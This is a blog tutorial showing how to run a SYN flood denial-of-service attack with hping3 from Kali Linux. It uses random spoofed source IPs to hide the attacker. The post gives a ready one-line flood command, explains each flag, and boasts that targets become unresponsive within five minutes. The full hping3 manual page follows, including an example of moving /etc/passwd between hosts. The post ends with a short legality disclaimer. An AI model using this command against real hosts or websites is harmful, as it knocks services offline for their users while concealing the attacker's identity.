DOS using hping3 with random source IP on Kali Linux
Let’s face it, you installed Kali Linux to learn how to DOS, how to crack into your neighbors Wireless router, how to hack into a remote Windows machine be that a Windows 2008 R2 server or Windows 7 or learn how to hack a website using SQL Injection. There’s lot’s of guide that explain it all. In this guide, I am about to demonstrate how to DOS using hping3 with random source IP on Kali Linux. That means,
- You are executing a Denial of Service attack or DOS using hping3
- You are hiding your a$$ (I meant your source IP address).
- Your destination machine will see source from random source IP addresses than yours (IP masquerading)
- Your destination machine will get overwhelmed within 5 minutes and stop responding.
Sounds good? I bet it does. But before we go and start using hping3, let’s just go over the basics..
Contents [show]
What’s hping3?
hping3 is a free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the Idle Scan scanning technique now implemented in the Nmap port scanner. The new version of hping, hping3, is scriptable using the Tcl language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in a very short time.
Like most tools used in computer security, hping3 is useful to security experts, but there are a lot of applications related to network testing and system administration.
hping3 should be used to…
- Traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities.
- Perform the idle scan (now implemented in nmap with an easy user interface).
- Test firewalling rules.
- Test IDSes.
- Exploit known vulnerabilties of TCP/IP stacks.
- Networking research.
- Learn TCP/IP (hping was used in networking courses AFAIK).
- Write real applications related to TCP/IP testing and security.
- Automated firewalling tests.
- Proof of concept exploits.
- Networking and security research when there is the need to emulate complex TCP/IP behaviour.
- Prototype IDS systems.
- Simple to use networking utilities with Tk interface.
hping3 is pre-installed on Kali Linux like many other tools. It is quite useful and I will demonstrate it’s usage soon.
My setup
I have two machines. The first one is my attacking machines and the second one is my target machine.
Attacking Machine
I have freshly installed Kali Linux 1.0.6 64-bit running on a VirtualBox with internal networking setup. You can use NAT/Bridge or any types of setup you feel like. You can also use VMWare if you have a license for it.
Target Machine
I am running Linux Mint Debian edition (LMDE) version 16 64-bit on my target machine. Similar to my attacking machine, this one is also virtualized running on a VirtualBox with internal networking setup. You can again using VMWare or physical installation if you want to.
I’ve tested this with Windows 7, Linux Mint, Windows server 2008 R2, Kali Linux, CentOS 6.4 and Ubuntu. All the target machines became completely unusable or unresponsive within 5 minutes. It made no difference whether the target machine was 64-bit or 32-bit, the results were conclusive. After 5 minutes attack from a single source/attacking machine, their TPC stack was almost full and I could hardly move my mouse in them.
DOS using hping3 with random source IP
That’s enough background, I am moving to the attack. You only need to run a single line command as shown below:
hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source 10.10.10.11Let me explain the syntax’s used in this command:
hping3= Name of the application binary.-c 100000= Number of packets to send.-d 120= Size of each packet that was sent to target machine.-S= I am sending SYN packets only.-w 64= TCP window size.-p 21= Destination port (21 being FTP port). You can use any port here.--flood= Sending packets as fast as possible, without taking care to show incoming replies. Flood mode.--rand-source= Using Random Source IP Addresses. You can also use -a or –spoof to hide hostnames. See MAN page below.10.10.10.11= Destination IP address or target machines IP address. You can also use a website name here.
So how do you know it’s working? In hping3 flood mode, we don’t check replies received (actually you can’t because in this command we’ve used –rand-souce flag which means the source IP address is not yours anymore.)
Here’s the screenshot from my Target machine (Linux Mint Debian Edition version 16)
I did a tcpdump on eth0 port (as shown in screenshot) and check out the highlighted source IP addresses … Completely random!
Took me just 5 minutes to completely make this machines unresponsive (that’s the definition of DOS – Denial of Service).
In short, if this machine was a Web server, it wouldn’t be able to respond to any new connections and even if it could, it would be really really slow. Following is the hping3 MAN pages for your references:
hping3 MAN pages
HPING3(8)
NAME
hping3 - send (almost) arbitrary TCP/IP packets to network hosts
SYNOPSIS
hping3 [ -hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ -c count ] [ -i wait ] [ --fast ] [ -I interface ] [ -9 signature ] [ -a host ] [
-t ttl ] [ -N ip id ] [ -H ip protocol ] [ -g fragoff ] [ -m mtu ] [ -o tos ] [ -C icmp type ] [ -K icmp code ] [ -s source port
] [ -p[+][+] dest port ] [ -w tcp window ] [ -O tcp offset ] [ -M tcp sequence number ] [ -L tcp ack ] [ -d data size ] [ -E
filename ] [ -e signature ] [ --icmp-ipver version ] [ --icmp-iphlen length ] [ --icmp-iplen length ] [ --icmp-ipid id ] [
--icmp-ipproto protocol ] [ --icmp-cksum checksum ] [ --icmp-ts ] [ --icmp-addr ] [ --tcpexitcode ] [ --tcp-mss ] [ --tcp-time‐
stamp ] [ --tr-stop ] [ --tr-keep-ttl ] [ --tr-no-rtt ] [ --rand-dest ] [ --rand-source ] [ --beep ] hostname
DESCRIPTION
hping3 is a network tool able to send custom TCP/IP packets and to display target replies like ping program does with ICMP
replies. hping3 handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated
under supported protocols. Using hping3 you are able to perform at least the following stuff:
- Test firewall rules
- Advanced port scanning
- Test net performance using different protocols,
packet size, TOS (type of service) and fragmentation.
- Path MTU discovery
- Transferring files between even really fascist firewall
rules.
- Traceroute-like under different protocols.
- Firewalk-like usage.
- Remote OS fingerprinting.
- TCP/IP stack auditing.
- A lot of others.
It's also a good didactic tool to learn TCP/IP. hping3 is developed and maintained by antirez@invece.org and is licensed under
GPL version 2. Development is open so you can send me patches, suggestion and affronts without inhibitions.
HPING SITE
primary site at http://www.hping.org. You can found both the stable release and the instruction to download the latest source
code at http://www.hping.org/download.html
BASE OPTIONS
-h --help
Show an help screen on standard output, so you can pipe to less.
-v --version
Show version information and API used to access to data link layer, linux sock packet or libpcap.
-c --count count
Stop after sending (and receiving) count response packets. After last packet was send hping3 wait COUNTREACHED_TIMEOUT
seconds target host replies. You are able to tune COUNTREACHED_TIMEOUT editing hping2.h
-i --interval
Wait the specified number of seconds or micro seconds between sending each packet. --interval X set wait to X seconds,
--interval uX set wait to X micro seconds. The default is to wait one second between each packet. Using hping3 to trans‐
fer files tune this option is really important in order to increase transfer rate. Even using hping3 to perform
idle/spoofing scanning you should tune this option, see HPING3-HOWTO for more information.
--fast Alias for -i u10000. Hping will send 10 packets for second.
--faster
Alias for -i u1. Faster then --fast ;) (but not as fast as your computer can send packets due to the signal-driven
design).
--flood
Sent packets as fast as possible, without taking care to show incoming replies. This is ways faster than to specify the
-i u0 option.
-n --numeric
Numeric output only, No attempt will be made to lookup symbolic names for host addresses.
-q --quiet
Quiet output. Nothing is displayed except the summary lines at startup time and when finished.
-I --interface interface name
By default on linux and BSD systems hping3 uses default routing interface. In other systems or when there is no default
route hping3 uses the first non-loopback interface. However you are able to force hping3 to use the interface you need
using this option. Note: you don't need to specify the whole name, for example -I et will match eth0 ethernet0 myet1 et
cetera. If no interfaces match hping3 will try to use lo.
-V --verbose
Enable verbose output. TCP replies will be shown as follows:
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug
Enable debug mode, it's useful when you experience some problem with hping3. When debug mode is enabled you will get more
information about interface detection, data link layer access, interface settings, options parsing, fragmentation, HCMP
protocol and other stuff.
-z --bind
Bind CTRL+Z to time to live (TTL) so you will able to increment/decrement ttl of outgoing packets pressing CTRL+Z once or
twice.
-Z --unbind
Unbind CTRL+Z so you will able to stop hping3.
--beep Beep for every matching received packet (but not for ICMP errors).
PROTOCOL SELECTION
Default protocol is TCP, by default hping3 will send tcp headers to target host's port 0 with a winsize of 64 without any tcp
flag on. Often this is the best way to do an 'hide ping', useful when target is behind a firewall that drop ICMP. Moreover a tcp
null-flag to port 0 has a good probability of not being logged.
-0 --rawip
RAW IP mode, in this mode hping3 will send IP header with data appended with --signature and/or --file, see also --ipproto
that allows you to set the ip protocol field.
-1 --icmp
ICMP mode, by default hping3 will send ICMP echo-request, you can set other ICMP type/code using --icmptype --icmpcode
options.
-2 --udp
UDP mode, by default hping3 will send udp to target host's port 0. UDP header tunable options are the following: --base‐
port, --destport, --keep.
-8 --scan
Scan mode, the option expects an argument that describes groups of ports to scan. port groups are comma separated: a num‐
ber describes just a single port, so 1,2,3 means port 1, 2 and 3. ranges are specified using a start-end notation, like
1-1000, that tell hping to scan ports between 1 and 1000 (included). the special word all is an alias for 0-65535, while
the special word known includes all the ports listed in /etc/services.
Groups can be combined, so the following command line will scan ports between 1 and 1000 AND port 8888 AND ports listed in
/etc/services: hping --scan 1-1000,8888,known -S target.host.com
Groups can be negated (subtracted) using a ! character as prefix, so the following command line will scan all the ports
NOT listed in /etc/services in the range 1-1024: hping --scan '1-1024,!known' -S target.host.com
Keep in mind that while hping seems much more like a port scanner in this mode, most of the hping switches are still hon‐
ored, so for example to perform a SYN scan you need to specify the -S option, you can change the TCP windows size, TTL,
control the IP fragmentation as usually, and so on. The only real difference is that the standard hping behaviors are
encapsulated into a scanning algorithm.
Tech note: The scan mode uses a two-processes design, with shared memory for synchronization. The scanning algorithm is
still not optimal, but already quite fast.
Hint: unlike most scanners, hping shows some interesting info about received packets, the IP ID, TCP win, TTL, and so on,
don't forget to look at this additional information when you perform a scan! Sometimes they shows interesting details.
-9 --listen signature
HPING3 listen mode, using this option hping3 waits for packet that contain signature and dump from signature end to
packet's end. For example if hping3 --listen TEST reads a packet that contain 234-09sdflkjs45-TESThello_world it will dis‐
play hello_world.
IP RELATED OPTIONS
-a --spoof hostname
Use this option in order to set a fake IP source address, this option ensures that target will not gain your real address.
However replies will be sent to spoofed address, so you will can't see them. In order to see how it's possible to perform
spoofed/idle scanning see the HPING3-HOWTO.
--rand-source
This option enables the random source mode. hping will send packets with random source address. It is interesting to use
this option to stress firewall state tables, and other per-ip basis dynamic tables inside the TCP/IP stacks and firewall
software.
--rand-dest
This option enables the random destination mode. hping will send the packets to random addresses obtained following the
rule you specify as the target host. You need to specify a numerical IP address as target host like 10.0.0.x. All the
occurrences of x will be replaced with a random number in the range 0-255. So to obtain Internet IP addresses in the whole
IPv4 space use something like hping x.x.x.x --rand-dest. If you are not sure about what kind of addresses your rule is
generating try to use the --debug switch to display every new destination address generated. When this option is turned
on, matching packets will be accept from all the destinations.
Warning: when this option is enabled hping can't detect the right outgoing interface for the packets, so you should use
the --interface option to select the desired outgoing interface.
-t --ttl time to live
Using this option you can set TTL (time to live) of outgoing packets, it's likely that you will use this with --traceroute
or --bind options. If in doubt try `hping3 some.host.com -t 1 --traceroute'.
-N --id
Set ip->id field. Default id is random but if fragmentation is turned on and id isn't specified it will be getpid() &
0xFFFF, to implement a better solution is in TODO list.
-H --ipproto
Set the ip protocol in RAW IP mode.
-W --winid
id from Windows* systems before Win2k has different byte ordering, if this option is enable hping3 will properly display
id replies from those Windows.
-r --rel
Display id increments instead of id. See the HPING3-HOWTO for more information. Increments aren't computed as
id[N]-id[N-1] but using packet loss compensation. See relid.c for more information.
-f --frag
Split packets in more fragments, this may be useful in order to test IP stacks fragmentation performance and to test if
some packet filter is so weak that can be passed using tiny fragments (anachronistic). Default 'virtual mtu' is 16 bytes.
see also --mtu option.
-x --morefrag
Set more fragments IP flag, use this option if you want that target host send an ICMP time-exceeded during reassembly.
-y --dontfrag
Set don't fragment IP flag, this can be used to perform MTU path discovery.
-g --fragoff fragment offset value
Set the fragment offset.
-m --mtu mtu value
Set different 'virtual mtu' than 16 when fragmentation is enabled. If packets size is greater that 'virtual mtu' fragmen‐
tation is automatically turned on.
-o --tos hex_tos
Set Type Of Service (TOS), for more information try --tos help.
-G --rroute
Record route. Includes the RECORD_ROUTE option in each packet sent and displays the route buffer of returned packets. Note
that the IP header is only large enough for nine such routes. Many hosts ignore or discard this option. Also note that
using hping you are able to use record route even if target host filter ICMP. Record route is an IP option, not an ICMP
option, so you can use record route option even in TCP and UDP mode.
ICMP RELATED OPTIONS
-C --icmptype type
Set icmp type, default is ICMP echo request (implies --icmp).
-K --icmpcode code
Set icmp code, default is 0 (implies --icmp).
--icmp-ipver
Set IP version of IP header contained into ICMP data, default is 4.
--icmp-iphlen
Set IP header length of IP header contained into ICMP data, default is 5 (5 words of 32 bits).
--icmp-iplen
Set IP packet length of IP header contained into ICMP data, default is the real length.
--icmp-ipid
Set IP id of IP header contained into ICMP data, default is random.
--icmp-ipproto
Set IP protocol of IP header contained into ICMP data, default is TCP.
--icmp-cksum
Set ICMP checksum, for default is the valid checksum.
--icmp-ts
Alias for --icmptype 13 (to send ICMP timestamp requests).
--icmp-addr
Alias for --icmptype 17 (to send ICMP address mask requests).
TCP/UDP RELATED OPTIONS
-s --baseport source port
hping3 uses source port in order to guess replies sequence number. It starts with a base source port number, and increase
this number for each packet sent. When packet is received sequence number can be computed as replies.dest.port -
base.source.port. Default base source port is random, using this option you are able to set different number. If you need
that source port not be increased for each sent packet use the -k --keep option.
-p --destport [+][+]dest port
Set destination port, default is 0. If '+' character precedes dest port number (i.e. +1024) destination port will be
increased for each reply received. If double '+' precedes dest port number (i.e. ++1024), destination port will be
increased for each packet sent. By default destination port can be modified interactively using CTRL+z.
--keep keep still source port, see --baseport for more information.
-w --win
Set TCP window size. Default is 64.
-O --tcpoff
Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-M --tcpseq
Set the TCP sequence number.
-L --tcpack
Set the TCP ack.
-Q --seqnum
This option can be used in order to collect sequence numbers generated by target host. This can be useful when you need to
analyze whether TCP sequence number is predictable. Output example:
#hping3 win98 --seqnum -p 139 -S -i u1 -I eth0
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
2361294848 +2361294848
2411626496 +50331648
2545844224 +134217728
2713616384 +167772160
2881388544 +167772160
3049160704 +167772160
3216932864 +167772160
3384705024 +167772160
3552477184 +167772160
3720249344 +167772160
3888021504 +167772160
4055793664 +167772160
4223565824 +167772160
The first column reports the sequence number, the second difference between current and last sequence number. As you can
see target host's sequence numbers are predictable.
-b --badcksum
Send packets with a bad UDP/TCP checksum.
--tcp-mss
Enable the TCP MSS option and set it to the given value.
--tcp-timestamp
Enable the TCP timestamp option, and try to guess the timestamp update frequency and the remote system uptime.
-F --fin
Set FIN tcp flag.
-S --syn
Set SYN tcp flag.
-R --rst
Set RST tcp flag.
-P --push
Set PUSH tcp flag.
-A --ack
Set ACK tcp flag.
-U --urg
Set URG tcp flag.
-X --xmas
Set Xmas tcp flag.
-Y --ymas
Set Ymas tcp flag.
COMMON OPTIONS
-d --data data size
Set packet body size. Warning, using --data 40 hping3 will not generate 0 byte packets but protocol_header+40 bytes.
hping3 will display packet size information as first line output, like this: HPING www.yahoo.com (ppp0 204.71.200.67): NO
FLAGS are set, 40 headers + 40 data bytes
-E --file filename
Use filename contents to fill packet's data.
-e --sign signature
Fill first signature length bytes of data with signature. If the signature length is bigger than data size an error mes‐
sage will be displayed. If you don't specify the data size hping will use the signature size as data size. This option
can be used safely with --file filename option, remainder data space will be filled using filename.
-j --dump
Dump received packets in hex.
-J --print
Dump received packets' printable characters.
-B --safe
Enable safe protocol, using this option lost packets in file transfers will be resent. For example in order to send file
/etc/passwd from host A to host B you may use the following:
[host_a]
# hping3 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd
[host_b]
# hping3 host_a --listen signature --safe --icmp
-u --end
If you are using --file filename option, tell you when EOF has been reached. Moreover prevent that other end accept more
packets. Please, for more information see the HPING3-HOWTO.
-T --traceroute
Traceroute mode. Using this option hping3 will increase ttl for each ICMP time to live 0 during transit received. Try
hping3 host --traceroute. This option implies --bind and --ttl 1. You can override the ttl of 1 using the --ttl option.
Since 2.0.0 stable it prints RTT information.
--tr-keep-ttl
Keep the TTL fixed in traceroute mode, so you can monitor just one hop in the route. For example, to monitor how the 5th
hop changes or how its RTT changes you can try hping3 host --traceroute --ttl 5 --tr-keep-ttl.
--tr-stop
If this option is specified hping will exit once the first packet that isn't an ICMP time exceeded is received. This bet‐
ter emulates the traceroute behavior.
--tr-no-rtt
Don't show RTT information in traceroute mode. The ICMP time exceeded RTT information aren't even calculated if this
option is set.
--tcpexitcode
Exit with last received packet tcp->th_flag as exit code. Useful for scripts that need, for example, to known if the port
999 of some host reply with SYN/ACK or with RST in response to SYN, i.e. the service is up or down.
TCP OUTPUT FORMAT
The standard TCP output format is the following:
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
len is the size, in bytes, of the data captured from the data link layer excluding the data link header size. This may not match
the IP datagram size due to low level transport layer padding.
ip is the source ip address.
flags are the TCP flags, R for RESET, S for SYN, A for ACK, F for FIN, P for PUSH, U for URGENT, X for not standard 0x40, Y for
not standard 0x80.
If the reply contains DF the IP header has the don't fragment bit set.
seq is the sequence number of the packet, obtained using the source port for TCP/UDP packets, the sequence field for ICMP pack‐
ets.
id is the IP ID field.
win is the TCP window size.
rtt is the round trip time in milliseconds.
If you run hping using the -V command line switch it will display additional information about the packet, example:
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0
tos is the type of service field of the IP header.
iplen is the IP total len field.
seq and ack are the sequence and acknowledge 32bit numbers in the TCP header.
sum is the TCP header checksum value.
urp is the TCP urgent pointer value.
UDP OUTPUT FORMAT
The standard output format is:
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
The field meaning is just the same as the TCP output meaning of the same fields.
ICMP OUTPUT FORMAT
An example of ICMP output is:
ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
It is very simple to understand. It starts with the string "ICMP" followed by the description of the ICMP error, Port Unreachable
in the example. The ip field is the IP source address of the IP datagram containing the ICMP error, the name field is just the
numerical address resolved to a name (a dns PTR request) or UNKNOWN if the resolution failed.
The ICMP Time exceeded during transit or reassembly format is a bit different:
TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net
TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN
The only difference is the description of the error, it starts with TTL 0.
AUTHOR
Salvatore Sanfilippo , with the help of the people mentioned in AUTHORS file and at
http://www.hping.org/authors.html
BUGS
Even using the --end and --safe options to transfer files the final packet will be padded with 0x00 bytes.
Data is read without care about alignment, but alignment is enforced in the data structures. This will not be a problem under
i386 but, while usually the TCP/IP headers are naturally aligned, may create problems with different processors and bogus packets
if there is some unaligned access around the code (hopefully none).
On solaris hping does not work on the loopback interface. This seems a solaris problem, as stated in the tcpdump-workers mailing
list, so the libpcap can't do nothing to handle it properly.
SEE ALSO
ping(8), traceroute(8), ifconfig(8), nmap(1)
2001 Aug 14 HPING3(8)
Conclusion
Just think how much damage you can do with hping3 if you had multiple machines running it. A new and modern firewall will however block it, but you shouldn’t just go on and DOS someone. This guide is meant for research and learning purpose. Try learning IPTables and ways to figure out how you can block DOS using hping3. That should be the main focus. Anyone can take a server down for 5 minutes (YEY! BRAVO.. ) but things like this will land you in JAIL as it is STRICTLY forbidden in most countries these days. So tread carefully.
Thanks for reading and visiting my website. Please share this guide.